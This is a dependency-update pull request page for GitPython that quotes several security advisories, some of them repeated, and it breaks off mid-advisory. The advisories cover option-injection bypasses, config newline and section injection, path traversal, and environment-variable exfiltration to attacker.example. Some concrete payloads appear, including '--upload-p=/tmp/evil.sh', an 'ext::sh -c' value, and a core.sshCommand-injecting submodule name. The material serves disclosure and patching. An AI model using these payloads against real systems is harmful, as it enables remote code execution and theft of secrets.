Update dependency gitpython to v3.1.59 [SECURITY] #15
Loading…
Reference in a new issue
No description provided.
Delete branch "renovate/pypi-gitpython-vulnerability"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
This PR contains the following updates:
3.1.46→3.1.59GitPython has Command Injection via Git options bypass
CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160
More information
Details
Summary
GitPython blocks dangerous Git options such as
--upload-packand--receive-packby default, but the equivalent Python kwargsupload_packandreceive_packbypass that check. If an application passes attacker-controlled kwargs intoRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push(), this leads to arbitrary command execution even whenallow_unsafe_optionsis left at its default value ofFalse.Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198That validation is performed by
Git.check_unsafe_options()ingit/cmd.py:948-961. The validator correctly blocks option names such asupload-pack,receive-pack, andexec.Later, GitPython converts Python kwargs into Git command-line flags in
Git.transform_kwarg()atgit/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper executionThe same bypass works for:
This does not appear to affect every unsafe option. For example,
exec=is already rejected because the raw kwarg nameexecmatches the blocked option name before normalization.Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
control=blockedproof_exists True ...id, working directory, argv, and selected environment variable namesExample output:
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into
--upload-pack.Impact
Who is impacted:
**kwargsWhat the attacker needs to control:
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()From a severity perspective, this could lead to
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe option check validates multi_options before shlex.split transformation
CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161
More information
Details
Summary
_clone()validatesmulti_optionsas the original list, then executesshlex.split(" ".join(multi_options)). A string like"--branch main --config core.hooksPath=/x"passes validation (starts with--branch), but after split becomes["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.Details
The vulnerable code is in
git/repo/base.pyline 1383:Then validation runs on the original list at line 1390:
Then execution uses the transformed result at line 1392:
The check at
git/cmd.pyline 959 usesstartswith:"--branch main --config ..."does not start with"--config", so it passes. Aftershlex.split,"--config"becomes its own token and reaches git.Also affects
Submodule.update()viaclone_multi_options.PoC
Output:
Impact
Any application passing user input to
multi_optionsinclone_from(),clone(), orSubmodule.update()is vulnerable. Attacker embeds--config core.hooksPath=<dir>inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160
More information
Details
GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162
More information
Details
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s
.gitdirectory via insufficient validation of reference paths in reference creation, rename, and delete operations.📦 Affected Versions
<= 3.1.46and currentmain(3.1.47in local checkout)🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid()rejects traversal sequences such as.., butSymbolicReference.create,Reference.create,SymbolicReference.set_reference,SymbolicReference.rename, andSymbolicReference.deletestill construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.Affected Code
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
Exploit
Result
💥 Impact
What can an attacker do?
Security Impact
Who is affected?
🛠️ Mitigation / Fix
Recommended Fix
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:PReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163
More information
Details
GitConfigParser.set_value()passes values to Python'sconfigparserwithout validating for newlines. GitPython's own_write()converts embedded newlines into indented continuation lines (e.g.\nbecomes\n\t), but Git still accepts an indented[core]stanza as a section header — so the injectedcore.hooksPathbecomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented
[core]stanza as a section header, so the injectedcore.hooksPathbecomes effective configuration.This was found while auditing MLRun's
project.push()method, which passesauthor_nameandauthor_emaildirectly toconfig_writer().set_value()with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in.git/config.PoC (standalone, no MLRun required):
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply
author_nameorauthor_emailto an application callingconfig_writer().set_value()can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the.git/configof a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.Remediation:
set_value()should raise on CR, LF, or NUL in values rather than silently pass them through:Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever
config_writer().set_value(section, key, user_input)is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing theirset_value()call sites for externally influenced inputs.Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
CVE-2026-67326 / GHSA-mv93-w799-cj2w
More information
Details
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836
More information
Details
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: command injection via unguarded Git options in
Repo.archive(),git.ls_remote(), and arbitrary file overwrite viaRepo.iter_commits()/Repo.blame()CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839
More information
Details
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (
git config --get protocol.ext.allowreturns nothing here).Common setup for the three:
Severity
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836
More information
Details
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: command injection via unguarded Git options in
Repo.archive(),git.ls_remote(), and arbitrary file overwrite viaRepo.iter_commits()/Repo.blame()CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839
More information
Details
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (
git config --get protocol.ext.allowreturns nothing here).Common setup for the three:
Severity
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842
More information
Details
Summary
Repo.clone_from()passes the caller-supplied remote URL throughGit.polish_url(), which on every non-Cygwin platform callsos.path.expandvars()on the URL before handing it togit clone. An attacker who controls the URL argument — the documented use case forclone_from()in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed$NAME/${NAME}tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such asAWS_SECRET_ACCESS_KEYorGITHUB_TOKENwith no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython(PyPI) — all releases up to and including3.1.50(latest at time of reporting); confirmed present on themainbranch.Git.polish_url()unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py(v3.1.50), lines 907–925:Repo._clone()— reached from the publicRepo.clone_from()(git/repo/base.py:1520) andRepo.clone()— runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to thegit clonesubprocess:git/repo/base.py(v3.1.50), lines 1407–1418:Because
os.path.expandvars()on POSIX substitutes$NAMEand${NAME}withos.environ[NAME]when set (and on Windows additionally%NAME%), an attacker-supplied URL such as:is rewritten server-side to embed the literal secret value in the path component, and
git clonethen issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value toattacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish_url()was written as a local-path normalisation helper (Cygwin path conversion,~expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, noexpand_vars=Falseopt-out for the clone URL, and no documentation that the URL undergoes environment expansion — theclone_fromdocstring describesurlonly as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument:Repo.__init__emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons",git/repo/base.py:226–231) and offersexpand_vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check_unsafe_protocols()runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reachesgit, an attacker who additionally controls any environment variable in the server process could set e.g.X=ext::sh -c '...'and submiturl="$X"; the raw string$Xpasses theext::filter, then expands to anext::remote-helper transport thatgitwill execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50on Linux with Python 3 andgitonPATH.poc.py:Expected output:
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
gitwould issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone_from()(orRepo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars()(andos.path.expanduser()) call fromGit.polish_url()for inputs that are remote URLs (contain://or matchuser@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation onRepo(path, expand_vars=…). Additionally, applycheck_unsafe_protocols()to the post-transformation URL so no futurepolish_urlchange can silently bypass theext::filter.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842
More information
Details
Summary
Repo.clone_from()passes the caller-supplied remote URL throughGit.polish_url(), which on every non-Cygwin platform callsos.path.expandvars()on the URL before handing it togit clone. An attacker who controls the URL argument — the documented use case forclone_from()in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed$NAME/${NAME}tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such asAWS_SECRET_ACCESS_KEYorGITHUB_TOKENwith no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython(PyPI) — all releases up to and including3.1.50(latest at time of reporting); confirmed present on themainbranch.Git.polish_url()unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py(v3.1.50), lines 907–925:Repo._clone()— reached from the publicRepo.clone_from()(git/repo/base.py:1520) andRepo.clone()— runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to thegit clonesubprocess:git/repo/base.py(v3.1.50), lines 1407–1418:Because
os.path.expandvars()on POSIX substitutes$NAMEand${NAME}withos.environ[NAME]when set (and on Windows additionally%NAME%), an attacker-supplied URL such as:is rewritten server-side to embed the literal secret value in the path component, and
git clonethen issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value toattacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish_url()was written as a local-path normalisation helper (Cygwin path conversion,~expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, noexpand_vars=Falseopt-out for the clone URL, and no documentation that the URL undergoes environment expansion — theclone_fromdocstring describesurlonly as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument:Repo.__init__emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons",git/repo/base.py:226–231) and offersexpand_vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check_unsafe_protocols()runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reachesgit, an attacker who additionally controls any environment variable in the server process could set e.g.X=ext::sh -c '...'and submiturl="$X"; the raw string$Xpasses theext::filter, then expands to anext::remote-helper transport thatgitwill execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50on Linux with Python 3 andgitonPATH.poc.py:Expected output:
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
gitwould issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone_from()(orRepo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars()(andos.path.expanduser()) call fromGit.polish_url()for inputs that are remote URLs (contain://or matchuser@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation onRepo(path, expand_vars=…). Additionally, applycheck_unsafe_protocols()to the post-transformation URL so no futurepolish_urlchange can silently bypass theext::filter.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2
More information
Details
Summary
In GitPython
<= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the[...]header with no other escaping. A section/subsection name that contains] [ "closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's.gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted.git/config, an attacker can setcore.sshCommand(oralias.*,core.pager,core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the
[r\n\x00]guard added for them does not stop a same-line section break inside a name.Details
The only guard applied to section/option names before writing is
_assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:git/config.py:75,897-899(GitPython 3.1.52):The name is then serialized into the header with no escaping of
],[,", space,=or#:git/config.py:693:For submodules the name is wrapped as
submodule "<name>"(git/objects/submodule/util.py:39,return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:therefore serializes to the header
[submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first]on that line as a fresh section, yieldingcore.sshCommand=CMD(the trailing#"]is an inline comment). No CR/LF/NUL appears, so_assure_config_name_safenever fires.The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's
.git/config:Repo.create_submodule(name=<untrusted>, ...)→Submodule.add→git/objects/submodule/base.py:619writer.set_value(sm_section(name), "url", url)— a single call, no hostile remote required.Repo.clone_from(<hostile url>)+repo.submodule_update(init=True)→git/objects/submodule/base.py:855writer.set_value(sm_section(self.name), "url", self.url), whereself.nameis read unvalidated from the cloned repo's.gitmodules.Asymmetry: the sibling class is blocked — a newline in a config value, e.g.
set_value("core", "editor", "x\n\tsshCommand=CMD"), raisesValueError. The section-name bracket payload is not caught by the same guard.PoC
Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with
git config --get; no ssh/fetch/push is run and nothing is executed.Run:
Observed output:
The benign name yields a single clean
[submodule "docs"]section; the malicious name yields an injectedcore.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced"makes git reject the header); thesubmodule "<name>"wrapper balances them automatically.Impact
Arbitrary attacker-controlled write into the victim's repository-local
